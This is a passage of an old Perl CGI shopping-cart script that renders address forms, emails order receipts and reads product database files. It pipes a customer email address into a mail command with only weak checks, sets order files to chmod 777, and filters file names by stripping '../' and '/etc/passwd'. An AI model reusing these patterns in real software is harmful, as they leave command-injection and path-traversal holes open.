COLOR=\"$font1\"> <INPUT TYPE=TEXT SIZE=40 MAXLENGTH=70 NAME=company VALUE=\"$field2\"> </TD></TR>"; } print "<TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[58] </FONT></TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" ><INPUT TYPE=TEXT SIZE=40 MAXLENGTH=70 NAME=address VALUE=\"$field3\"></TD> </TR> <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[59] </FONT></TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" ><INPUT TYPE=TEXT SIZE=25 MAXLENGTH=70 NAME=city VALUE=\"$field4\"> </TD> </TR>"; if ( $use_state ) { print "<TR><TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[60] </FONT> </TD><TD> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\"> <INPUT TYPE=TEXT SIZE=25 MAXLENGTH=30 NAME=state VALUE=\"$field5\"> </TD></TR>"; } if ( $use_zipcode_fields ) { print "<TR><TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[61] </FONT></TD><TD> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\">  <INPUT TYPE=TEXT SIZE=10 MAXLENGTH=20 NAME=zip VALUE=\"$field6\"> </TD></TR>"; } print "<TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[7] </TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" ><INPUT TYPE=TEXT SIZE=25 MAXLENGTH=40 NAME=country VALUE=\"$field7\"></TD> </TR> <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[9] </TD><TD> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\"> <INPUT TYPE=TEXT SIZE=25 MAXLENGTH=30 NAME=phone VALUE=\"$field8\"></TD> </TR> <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[8] </TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" ><INPUT TYPE=TEXT SIZE=25 MAXLENGTH=50 NAME=email VALUE=\"$field9\"></TD> </TR> </TABLE>"; } sub print_ship_address2 { print " <CENTER> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[104]</FONT>"; if ( (!$force_no_script) && ($show_copy_button) ) { print "<SCRIPT LANGUAGE=\"JavaScript1.2\">\n function CopyInfo()\n {\n document.form1.name2.value = document.form1.name.value;\n"; if ( $use_company_name_field ) { print "document.form1.company2.value = document.form1.company.value;\n"; } print "document.form1.address2.value = document.form1.address.value;\n document.form1.city2.value = document.form1.city.value;\n"; if ($use_state) { print "document.form1.state2.value = document.form1.state.value;\n"; } if ($use_zipcode_fields) { print "document.form1.zip2.value = document.form1.zip.value;\n"; } print "document.form1.country2.value = document.form1.country.value;\n document.form1.phone2.value = document.form1.phone.value;\n document.form1.email2.value = document.form1.email.value;\n }\n"; if ( $lang[105] =~ /This wont work/i ) { print "document.write('<BR><INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[105]\" VALUE=\"$lang[105]\" BORDER=0 OnClick=\"CopyInfo()\">');\n"; } else { print "compat = true;\n if( navigator.appVersion.search(/Mac/i)>=0 )\n { compat = false; }\n if( parseInt( navigator.appVersion ) >= $compat ) { compat = true; }\n if ( compat )\n { document.write('<BR><INPUT TYPE=BUTTON VALUE=\"$lang[105]\" OnClick=\"CopyInfo()\">'); }\n"; } print "</SCRIPT>\n"; } print "</CENTER> <TABLE BORDER=0 WIDTH=\"$table_width\" ALIGN=CENTER> <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[4] </FONT> </TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\"><INPUT TYPE=TEXT SIZE=40 MAXLENGTH=70 NAME=name2 VALUE=\"$field10\"></TD> </TR>"; if ( $use_company_name_field ) { print "<TR><TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[90] </FONT> </TD><TD> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\"> <INPUT TYPE=TEXT SIZE=40 MAXLENGTH=70 NAME=company2 VALUE=\"$field11\"> </TD></TR>"; } print "<TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[58] </FONT></TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\"><INPUT TYPE=TEXT SIZE=40 MAXLENGTH=70 NAME=address2 VALUE=\"$field12\"></TD> </TR> <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[59] </FONT></TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\"><INPUT TYPE=TEXT SIZE=25 MAXLENGTH=70 NAME=city2 VALUE=\"$field13\"> </TD> </TR>"; if ( $use_state ) { print "<TR><TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[60] </FONT> </TD><TD> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\"> <INPUT TYPE=TEXT SIZE=25 MAXLENGTH=30 NAME=state2 VALUE=\"$field14\"> </TD></TR>"; } if ( $use_zipcode_fields ) { print "<TR><TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[61] </FONT></TD><TD> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\">  <INPUT TYPE=TEXT SIZE=10 MAXLENGTH=20 NAME=zip2 VALUE=\"$field15\"> </TD></TR>"; } print "<TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[7] </TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\"><INPUT TYPE=TEXT SIZE=25 MAXLENGTH=40 NAME=country2 VALUE=\"$field16\"></TD> </TR> <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[9] </TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\"><INPUT TYPE=TEXT SIZE=25 MAXLENGTH=30 NAME=phone2 VALUE=\"$field17\"></TD> </TR> <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[8] </TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\"><INPUT TYPE=TEXT SIZE=25 MAXLENGTH=50 NAME=email2 VALUE=\"$field18\"></TD> </TR> </TABLE>"; } sub comments { ($cols,$rows,$default_comments) = split(/$delimiter2/,$comments); ($trash,$trash,$trash,$trash,$comments2,$trash) = split(/$delimiter2/,$items[0]); $comments2 =~ s/$br_sub/\n/g; print "<CENTER> <TABLE BORDER=0> <TR> <TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><BR>$lang[99]<BR> <TEXTAREA NAME=comments ROWS=\"$rows\" COLS=\"$cols\" WRAP>"; if ($comments2 =~ /\n$/ ) { chop($comments2); } if ($comments2) { print "$comments2"; } else { $default_comments =~ s/<BR>/\n/gi; print "$default_comments"; } print "</TEXTAREA> <BR> </TD> </TR> </TABLE> </CENTER>"; } sub send_email { &get_shoppers_items; if ( $append_datafile ) { &send_email2('do_appending'); } foreach $myemail (@myemail) { &send_email2('merchant'); } if ( $customer_mail ) { &send_email2('customer'); } } sub send_email2 { $customer_name =~ s/\,//g; $bizname =~ s/\,//g; chop($items[0]) if ( $items[0] =~ /\n/ ); ($date,$invoice,$state,$ship_method,$comments2,$coupon_amount,$coupon_number) = split(/$delimiter2/, $items[0]); if ( $items[1] =~ /\n/ ) { chop($items[1]); } @ship_lines = split(/$delimiter2/, $items[1]); if ( $_[0] eq "customer" ) { $myemail = $myemail[0]; } if ( ($purchase_method eq "$lang[97]") || ($purchase_method eq "$lang[1]") ) { $customer_name = "$ship_lines[0]"; $customer_email = "$ship_lines[8]"; } else { $customer_name = "$ship_lines[9]"; $customer_email = "$ship_lines[17]"; } $customer_name =~ s/\,/ /g; $passwords="$vars"; $a=""; until ($a eq "/" || $passwords eq "") { $a=chop($passwords); } $passwords .= "/passwords.dat"; if ( (-e "$passwords") && (!@passwords) ) { open (PASSWORDS, "$passwords"); if ($flock) { flock(PASSWORDS, 2); } @passwords = <PASSWORDS>; if ($flock) { flock(PASSWORDS, 8); } close (PASSWORDS); } if ( ( ($_[0] eq "merchant") || ($_[0] eq "do_appending") ) && (@items > 1) ) { if ( $append_datafile && ( $_[0] eq "do_appending" ) ) { if ( $append_datafile =~ /(.+)(\s)(.+)/ ) { $append_datafile = $3; } if ( $append_datafile =~ /(.+)(\|)(.+)/ ) { $append_datafile = $3; } if (-d "$append_datafile") { $invoice =~ s/ //g; $append_datafile = "$append_datafile/orders$invoice" . "$ext"; } $append_datafile = &untaint("$append_datafile"); open (MAIL, ">>$append_datafile"); print MAIL "\n\nDate: $date\n"; } elsif ( $blat || $windmail ) { $untainted = &untaint("$path1/$shopper_id$mail_ext$ext"); open (MAIL, ">$untainted"); } elsif ( $mailprog ) { while($myemail =~ / /) { chop($myemail); } if ($myemail !~ /^(.+)(\@)(.+)(\.)(.+)$/) { $myemail = ""; } if ( $mailprog eq "windmail -t" ) { open (MAIL, "|$mailprog"); } elsif ( $mailprog =~ /(cgimail)$/ ) { open (MAIL, "|$mailprog"); } else { open (MAIL, "|$mailprog $myemail"); } } } if ( $_[0] eq "customer" ) { if ( $customer_email =~ /(.*)(\@)(.*)(\.)(.*)/ && $mailprog  ) { if ( $blat || $windmail ) { $untainted = &untaint("$path1/$shopper_id$mail_ext$ext"); open (MAIL, ">$untainted"); } else { while($customer_email =~ / /) { chop($customer_email); } if ( $mailprog eq "windmail -t" ) { open (MAIL, "|$mailprog"); } elsif ( $mailprog =~ /(cgimail)$/ ) { open (MAIL, "|$mailprog"); } else { open (MAIL, "|$mailprog $customer_email"); } } } } if ($email_content_type && !$blat) { print MAIL "Content-Type: $email_content_type\n"; } if ($email_encoding && !$blat) { print MAIL "Content-Transfer-Encoding: $email_encoding\n"; } if ( (!$blat && !$windmail && ($mailprog ne "windmail -t") && ( $mailprog !~ /(cgimail)$/ ) ) || ( ( $_[0] eq "do_appending") && $append_datafile) )  { if ( $_[0] eq "customer" ) { print MAIL "To: $customer_name <$customer_email>\n"; print MAIL "From: $bizname <$myemail>\n"; print MAIL "$lang[62] $bizname - $purchase_method\n\n"; } else { print MAIL "To: $bizname <$myemail>\n"; print MAIL "From: $customer_name <$customer_email>\n"; print MAIL "$lang[62] $invoice - $purchase_method\n\n"; } } if ( ( ($windmail) || ($mailprog eq "windmail -t") || ( $mailprog =~ /(cgimail)$/ ) ) && ($_[0] ne "do_appending") ) { if ( $_[0] eq "customer" ) { print MAIL "To: $customer_email\n"; print MAIL "From: $myemail\n"; print MAIL "$lang[62] $bizname - $purchase_method\n\n"; } else { print MAIL "To: $myemail\n"; print MAIL "From: $customer_email\n"; print MAIL "$lang[62] $invoice - $purchase_method\n\n"; } } if ( ($append_datafile && ($_[0] eq "do_appending") ) )  { $html_br = ""; } if ( ($email_content_type =~ /(text\/html)/i) && ($_[0] ne "do_appending") ) { $html_br = "<BR>"; } if ( $_[0] eq "customer" ) { print MAIL "$lang[109] $customer_name $lang[110]$html_br\n$html_br\n"; } if ($purchase_method eq "$lang[152]") { print MAIL "$lang[153]$html_br\n"; } if ($purchase_method eq "$lang[14]") { print MAIL "$instant_trans$html_br\n"; } if ($purchase_method eq "$lang[25]") { print MAIL "$lang[64]$html_br\n$lang[65]$html_br\n" if ( $_[0] eq "merchant" ); print MAIL "$lang[31]$html_br\n$add4$html_br\n" if ( $_[0] eq "customer" ); } if ($purchase_method eq "$lang[71]") { print MAIL "$lang[71]$html_br\n" if ( $_[0] eq "merchant" ); print MAIL "$lang[28]$html_br\n" if ( $_[0] eq "customer" ); } if ($purchase_method eq "$lang[97]") { $br_temp = "$lang[98]"; print MAIL "$br_temp$html_br\n" if ( $_[0] eq "merchant" ); print MAIL "$br_temp$html_br\n" if ( $_[0] eq "customer" ); } print MAIL "_______________________________________$html_br\n"; print MAIL "$lang[53] $invoice$html_br\n"; print MAIL "$lang[52] $date$html_br\n"; print MAIL "$lang[66] $ENV{'REMOTE_HOST'}$html_br\n" if ( $_[0] ne "customer" ); print MAIL "$lang[67] $ENV{'REMOTE_ADDR'}$html_br\n" if ( $_[0] ne "customer" ); print MAIL "$lang[85] $ENV{'HTTP_USER_AGENT'}$html_br\n" if ( $_[0] ne "customer" ); print MAIL "_______________________________________$html_br\n$html_br\n"; $total = 0; $nontaxable = 0; $noshipping = 0; $ship_total = 0; $n = 0; if ($email_receipt_tables) { printf MAIL "$lang[156]$html_br\n"; $table_line_length = $email_receipt_tables[0] + $email_receipt_tables[1] + $email_receipt_tables[2] + $email_receipt_tables[3] + $email_receipt_tables[4] + 12; $item_separator = ""; if (!$lang[157]) { $lang[157] = " - -"; } while ( length($item_separator) < $table_line_length ) { $item_separator .= "$lang[157]"; } while ( length($item_separator) > $table_line_length ) { chop($item_separator); } print MAIL "$item_separator$html_br\n"; foreach $item (@items) { if ( ( $n == 0 ) || ( $n == 1 ) ) { $n++; next; } if ( $item =~ /\n$/ ) { chop($item); } @stuff = split(/$delimiter2/,$item); @customs = (@stuff); for($i=1;$i<=5;$i++) { shift(@customs); } $quantity = $stuff[4]; $price_calc = $stuff[1]; &price_calc; $item_total = $each * $stuff[4]; if ($item =~ /\#non.*taxable\#/i) { $nontaxable += $item_total; } if ($item =~ /\#noshipping\#/i) { $noshipping += $item_total; } $total += $item_total; $ship_total += $stuff[2] * $stuff[4]; $item_ship_total = $stuff[2] * $stuff[4]; $print_inst = ""; $custom_col = ""; for ( $i=5;$i<=($customs+4);$i++ ) { if ( $stuff[$i] ) { if ( $stuff[$i] =~ /\n$/ ) { chop($stuff[$i]); } $stuff[$i] =~ s/<([^>]|\n)*>//g; $stuff[$i] =~ s/$br_sub/$html_br\n/g; $custom_col .= "$stuff[$i]$html_br\n" unless ( ($suppress_desc && $_[0] eq "merchant") || ($stuff[$i] =~ /\#non.*taxable\#/i) || ($stuff[$i] =~ /\#noshipping\#/i) ); if ( ($purchase_method eq "$lang[14]") || (( $purchase_method eq "$lang[71]" ) && ($option4 !~ /^(http)/i)) ) { foreach $line (@passwords) { if ( $line =~ /\n$/ ) { chop($line); } ($keyword,$instructions) = split(/$delimiter2/,$line); if ( $stuff[$i] eq "$keyword" ) { $print_inst .= "$instructions"; } } } } } $custom_col .= "$lang[37] ($wt) \ $item_ship_total$html_br\n" if ( ($ship_allow == 1) && ($show_ship) ); if ($print_inst) { $custom_col .= "$print_inst$html_br\n"; } $each = sprintf("$decimals","$each"); $item_total = sprintf("$decimals","$item_total"); $each =~ s/ //g; $item_total =~ s/ //g; $each = "$symbol $each"; $item_total = "$symbol $item_total"; if (!$email_receipt_tables[0]) { $first_item_name_line = ""; } else { $item_name_lines = &wrap($stuff[0],$email_receipt_tables[0]); ($first_item_name_line,@item_name_lines) = split(/\n/,"$item_name_lines"); } if (!$email_receipt_tables[1]) { $first_custom_line = ""; } else { $custom_col = &wrap($custom_col,$email_receipt_tables[1]); ($first_custom_line,@custom_col) = split(/\n/,"$custom_col"); } if (!$email_receipt_tables[2]) { $stuff[4] = ""; } if (!$email_receipt_tables[3]) { $each = ""; } if (!$email_receipt_tables[4]) { $item_total = ""; } printf MAIL "%-$email_receipt_tables[0]s %1s %-$email_receipt_tables[1]s %1s %$email_receipt_tables[2]s %1s %$email_receipt_tables[3]s %1s %$email_receipt_tables[4]s$html_br\n", "$first_item_name_line", "", "$first_custom_line", "", "$stuff[4]", "", "$each", "", "$item_total"; until (!@item_name_lines && !@custom_col) { if (!$email_receipt_tables[0]) { $item_name_lines[0] = ""; } if (!$email_receipt_tables[1]) { $custom_col[0] = ""; } printf MAIL "%-$email_receipt_tables[0]s %1s %-$email_receipt_tables[1]s$html_br\n", "$item_name_lines[0]", "", "$custom_col[0]"; shift (@item_name_lines); shift (@custom_col); } print MAIL "$item_separator$html_br\n"; $n++; } } else { foreach $item (@items) { if ( ( $n == 0 ) || ( $n == 1 ) ) { $n++; next; } if ( $item =~ /\n$/ ) { chop($item); } @stuff = split(/$delimiter2/,$item); @customs = (@stuff); for($i=1;$i<=5;$i++) { shift(@customs); } $quantity = $stuff[4]; $price_calc = $stuff[1]; &price_calc; $item_total = $each * $stuff[4]; if ($item =~ /\#non.*taxable\#/i) { $nontaxable += $item_total; } if ($item =~ /\#noshipping\#/i) { $noshipping += $item_total; } $total += $item_total; $ship_total += $stuff[2] * $stuff[4]; $item_ship_total = $stuff[2] * $stuff[4]; print MAIL "$stuff[0]$html_br\n"; print MAIL "$lang[34] $stuff[4]$html_br\n"; print MAIL "$lang[55] " unless ($suppress_desc && $_[0] eq "merchant"); $print_inst = ""; for ( $i=5;$i<=($customs+4);$i++ ) { if ( $stuff[$i] ) { if ( $stuff[$i] =~ /\n$/ ) { chop($stuff[$i]); } $stuff[$i] =~ s/<([^>]|\n)*>//g; $stuff[$i] =~ s/$br_sub/$html_br\n         /g; if ( $i == 5 ) { print MAIL "$stuff[$i]$html_br\n" unless ( ($suppress_desc && $_[0] eq "merchant") || ($stuff[$i] =~ /\#non.*taxable\#/i) || ($stuff[$i] =~ /\#noshipping\#/i) ); } else { printf MAIL "%-8s %-50s$html_br\n", "", "$stuff[$i]" unless ( ($suppress_desc && $_[0] eq "merchant") || ($stuff[$i] =~ /\#non.*taxable\#/i) || ($stuff[$i] =~ /\#noshipping\#/i) ); } if ( ($purchase_method eq "$lang[14]") || (( $purchase_method eq "$lang[71]" ) && ($option4 !~ /^(http)/i)) ) { foreach $line (@passwords) { if ( $line =~ /\n$/ ) { chop($line); } ($keyword,$instructions) = split(/$delimiter2/,$line); if ( $stuff[$i] eq "$keyword" ) { $print_inst .= "$html_br\n$instructions"; } } } } } print MAIL "$html_br\n"; printf MAIL "%-15s %3s $decimals$html_br\n", "$lang[36]", "$symbol", $each; printf MAIL "%-15s %3s $decimals$html_br\n", "$lang[37] ($wt)", "\ ", $item_ship_total if ( ($ship_allow == 1) && ($show_ship) ); printf MAIL "%-15s %3s $decimals$html_br\n", "$lang[39]", "$symbol", $item_total; print MAIL "$html_br\n"; if ($print_inst) { print MAIL "$print_inst$html_br\n"; } print MAIL "_______________________________________$html_br\n$html_br\n"; $n++; } } $currency_sep_total = $total; &currency_sep; $total_string_length = length($currency_sep_total); $total_format = '%' . "$total_string_length" . 's'; if ( $coupon_amount ) { &coupon_amount; $temp = sprintf("$decimals",$temp); $temp =~ s/ //g; printf MAIL "%-45s %3s $total_format$html_br\n", "$lang[116] ($coupon_number / $coupon_amount)", "- $symbol", $temp; } &webstore_discount; if ( $discount_amount ) { $total -= $discount_amount; if ( $nontaxable ) { $nontaxable -= $discount_amount; } $discount_amount = sprintf("$decimals",$discount_amount); $discount_amount =~ s/ //g; printf MAIL "%-45s %3s $total_format$html_br\n", "$lang[108] ($disc_percent\%)", "- $symbol", $discount_amount; } if (!$lang[70]) { $lang[70] = "$lang[43]"; } $currency_sep_total = $total; &currency_sep; $total_string_length = length($currency_sep_total); $total_format = '%' . "$total_string_length" . 's'; printf MAIL "%-45s %3s $total_format$html_br\n", "$lang[70]", "$symbol", "$currency_sep_total"; if ( $state ) { &get_sales_tax; $taxes = ($total - $nontaxable) * $tax_rate; $taxes /= 100; $taxes2 = sprintf("$decimals",$taxes); $taxes2 =~ s/ //g; printf MAIL "%-45s %3s $total_format$html_br\n", "$lang[44] ($state) $tax_rate\%", "$symbol", $taxes2; } if ( $ship_allow ) { &ship_calc; $ship_total = sprintf("$decimals",$ship_total); $ship_total =~ s/ //g; printf MAIL "%-45s %3s $total_format$html_br\n", "$lang[56] ($ship_method)", "$symbol", $ship_total; } if ( ($FORM{'purpose2'} eq "cod") && ($option5 ne "0.00") ) { printf MAIL "%-45s %3s $total_format$html_br\n", "$lang[102]", "$symbol", $option5; $total += $option5; } $total += $taxes if ( $state ); $total += $ship_total if ( $ship_allow ); $currency_sep_total = $total; &currency_sep; if ( $purchase_method eq "$lang[14]" || ($purchase_method eq "$lang[71]" && $option4 !~ /^(http)/i) ) { printf MAIL "%-45s %3s $total_format %-4s$html_br\n", "$lang[57]", "$symbol", $currency_sep_total, "$lang[68]"; } else { printf MAIL "%-45s %3s $total_format %-4s$html_br\n", "$lang[57]", "$symbol", $currency_sep_total, "$lang[69]"; } print MAIL "$html_br\n"; $temp = "$lang[30]"; if ( ($append_datafile && ($_[0] eq "do_appending") ) )  { $temp =~ s/<([^>]|\n)*>//g; } print MAIL "_______________________________________$html_br\n$temp$html_br\n$html_br\n"; $n = 0; foreach $line (@ship_lines) { if ( $n == 9 ) { $temp = "$lang[104]"; if ( ($append_datafile && ($_[0] eq "do_appending") ) )  { $temp =~ s/<([^>]|\n)*>//g; } print MAIL "_______________________________________$html_br\n$temp$html_br\n$html_br\n"; } if ($line) { print MAIL "$line"; if ($n != 3 && $n != 4 && $n != 12 && $n != 13) { print MAIL "$html_br\n"; } else { print MAIL " "; } } $n++; } print MAIL "_______________________________________$html_br\n"; if ($comments2) { $comments2 =~ s/$br_sub/$html_br\n/g; print MAIL "$html_br\n$comments2$html_br\n"; } if ( $purchase_method eq "$lang[1]" && ($_[0] ne "do_appending") ) { print MAIL "$html_br\n$lang[10] \"$payable\"$html_br\n"; if ($email_content_type !~ /(text\/html)/i) { $lang[11] =~ s/\<br\>/\n/gi; } print MAIL "$lang[11]$html_br\n"; print MAIL "$add1$html_br\n"; print MAIL "$add2$html_br\n"; print MAIL "$add3$html_br\n"; } if ( $purchase_method eq "$option6" && ($_[0] ne "do_appending") ) { if ($email_content_type !~ /(text\/html)/i) { $lang[83] =~ s/\<br\>/\n/gi; } print MAIL "$html_br\n$lang[83]$html_br\n"; } if ( ($append_datafile && ($_[0] eq "do_appending") ) )  { print MAIL "\n################################################\n\n"; } if ( (($_[0] eq "customer") || ($_[0] eq "merchant")) && $signature ) { print MAIL "$html_br\n$html_br\n"; @signature = split(/$delimiter2/,$signature); foreach $line (@signature) { print MAIL "$line$html_br\n"; } } if ( $mailprog eq "windmail -t" ) { print MAIL ".\n"; } close (MAIL); if ( $append_datafile && ( $_[0] eq "do_appending" ) ) { `chmod 777 $append_datafile`; } if ( ($blat || $windmail) && ($_[0] ne "do_appending") ) { $temp_path = &untaint("$path1/$shopper_id$mail_ext$ext"); $mailprog2 = &untaint("$mailprog"); $customer_email = &untaint("$customer_email"); $subject = &untaint("$purchase_method"); $myemail2 = &untaint("$myemail"); if ($windmail) { system("\"$mailprog2\" -t -t -n $temp_path"); } if ($blat) { if ( $_[0] eq "customer" ) { open(MAIL2,"|$mailprog2 $temp_path -t \"$customer_email ($customer_name)\" -s \"$bizname - $subject\" -f \"$myemail2\"$blat_server -q");  close(MAIL2); } else { open(MAIL2,"|$mailprog2 $temp_path -t \"$myemail2 ($bizname)\" -s \"$invoice - $subject\" -f \"$customer_email\"$blat_server -q");  close(MAIL2); } } if ( $_[0] eq "customer" || (!$customer_mail) ) { unlink("$temp_path"); } } } sub check_tax { &get_shoppers_items; chop($items[0]); @info = split(/$delimiter2/, $items[0]); $items[0] = "$info[0]$delimiter$info[1]$delimiter$FORM{'tax'}$delimiter$FORM{'ship_method'}$delimiter$info[4]$delimiter$info[5]$delimiter$info[6]\n"; $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); foreach $item (@items) { print CART "$item"; } close CART; } sub print_button { print "<CENTER>"; if (!$force_no_script) { print "<SCRIPT language=\"JavaScript\">\n <!--\n var bn=navigator.appName;\n var vn=navigator.appVersion;\n if ( (bn==\"Netscape\") && (parseInt(vn) >= 4) )\n {\n document.write('<FORM><INPUT TYPE=BUTTON OnClick=\"window.print()\" VALUE=\"$lang[13]\"></FORM>');\n }\n else\n {\n document.write('<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[13]</FONT>');\n }\n // -->\n </SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[13]</FONT>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } print "</CENTER>"; } sub price_calc { &symbol2; if ( !$quantity ) { $quantity = 1; } if ( $price_calc =~ /$discount_sep/ ) { (@discount_prices) = split(/$discount_sep/,$price_calc); for($dp=0;$dp<=@discount_prices-1;$dp+=2) { if ( $quantity >= $discount_prices[$dp+1] ) { $price_calc = $discount_prices[$dp]; } } } if ( $price_calc =~ /(.*)($symbol2)(.+)(\W*.*)/ ) { $price_calc = $3; } for($i=0;$i<=@customs;$i++) { if ( ($customs[$i] =~ /(.*)($symbol2)(.+)(\W*.*)/ ) && !($customs[$i] =~ /(.*)(\+$symbol2)(.+)/) ) { $price_calc = $3; last; } } for($i=0;$i<=@customs;$i++) { if ( ($customs[$i] =~ /(.*)(\+$symbol2)(.+)(\W*.*)/ ) ) { $price_calc += $3; } } $each = sprintf("$decimals",$price_calc); } sub database { &symbol2; ($trash,$file,$cat,$item_start,$trash,$cat_or_search) =    split(/$query_separator/,$ENV{'QUERY_STRING'}); $cat =~ s/\%20/ /g; if ( !$item_cat_pos ) { $cat_or_search = "search"; } if ( $FORM{'should_be_get_method'} ) { $ENV{'REQUEST_METHOD'} = "get"; } if ( !$ENV{'QUERY_STRING'} ) { $query_separator2 = $query_separator; $query_separator2 =~ s/^\\//; $temp = "search"; $ENV{'QUERY_STRING'} = "db$query_separator2$FORM{'file'}$query_separator2$FORM{'search'}$query_separator2$query_separator2$query_separator2$temp"; } $ENV{'QUERY_STRING'} =~ s/ /\%20/g; if ( $ENV{'REQUEST_METHOD'} =~ /POST/i ) { $cat_or_search = "search"; $file = "$FORM{'file'}"; $cat = "$FORM{'search'}"; if ( $FORM{'merchant'} ) { $ENV{'QUERY_STRING'} .= "$query_separator2$FORM{'merchant'}"; } } if ( $cat =~ /^(All Items)$/i ) { $item_cat_pos = 0; } if ( $cat =~ /^(All_Items)$/i ) { $item_cat_pos = 0; } if (!$item_start) { $item_start = 1; } if (!$cat_or_search) { $cat_or_search = "cat"; } $file =~ s/\.\.\///g; $file =~ s/\.\.//g; $file =~ s/(\/etc\/passwd)//g; open (FILE,"$database_dir/$file"); @items = <FILE>; close (FILE); print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $cat</TITLE>\n$meta_tag\n</HEAD>\n <BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\"> <CENTER>\n"; if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n compat = false;\n if( parseInt( navigator.appVersion ) >= $compat )\n {\n compat = true;\n }\n </SCRIPT>\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript1.2\">\n //if( (navigator.appVersion.search(/Mac/i)>=0) && (navigator.appName==\"Netscape\") )\n if( navigator.appVersion.search(/Mac/i)>=0 )\n { compat = false; }\n function Commas(intnum)\n {\n intstr = \"\"+intnum;\n inserts = parseInt(intstr.length)/3;\n sep = \"$currency_sep\"\n for(i=1;i<=inserts;i++)\n {\n if (intnum >= Math.pow(1000,i))\n {\n intlen = intstr.length\n temp1=parseInt(\"\"+(intnum/Math.pow(1000,i)))\n temp2=intstr.substring(intlen-((i*4)-1),intlen)\n intstr = temp1+sep+temp2\n }\n }\n whole = intstr\n }\n function Total(X)\n {\n if(compat)\n {\n if (document.forms[X].quantity)\n {\n if ( document.forms[X].quantity.value < 1 ) { document.forms[X].quantity.value = 1; }\n if ( isNaN(document.forms[X].quantity.value) ) { document.forms[X].quantity.value = 1; }\n"; if (!$fix_int_quantity) { print "document.forms[X].quantity.value = parseInt(document.forms[X].quantity.value);\n"; } print "}\n if ( document.forms[X].price.value.match(/$discount_sep/) )\n {\n Prices = document.forms[X].price.value.split(\"$discount_sep\");\n for(dp=0;dp<=Prices.length-1;dp+=2)\n {\n if ( document.forms[X].quantity && document.forms[X].quantity.value >= Number(Prices[dp+1]) ) { document.forms[X].add.value = Prices[dp]; }\n if ( !document.forms[X].quantity && Number(Prices[dp+1]) == 1 ) { document.forms[X].add.value = Prices[dp]; }\n }\n }\n else { document.forms[X].add.value = document.forms[X].price.value }\n document.forms[X].add.value.match(/(\\$symbol)?(.*)/)\n document.forms[X].add.value = Number(RegExp.\$2)\n Price = Number(RegExp.\$2)\n for (i = 0 ; i < document.forms[X].elements.length ; i++)\n {\n if ( document.forms[X].elements[i].name.match(/custom/) && document.forms[X].elements[i].type != \"hidden\" )\n {\n if ( document.forms[X].elements[i].type == \"checkbox\" && document.forms[X].elements[i].checked )\n { A = document.forms[X].elements[i].value;\n A.match(/^.*\\+?\\$symbol(.+\$)/)\n B = RegExp.\$1\n                 if ( A.match(/\\+\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) + Number(B);\n }\n if ( A.match(/[^+]\\$symbol/) )\n {\n document.forms[X].add.value = Number(document.forms[X].add.value) - Number(Price) + Number(B);\n }\n }\n if ( document.forms[X].elements[i].type == \"select-one\" || document.forms[X].elements[i].type == \"select-multiple\" 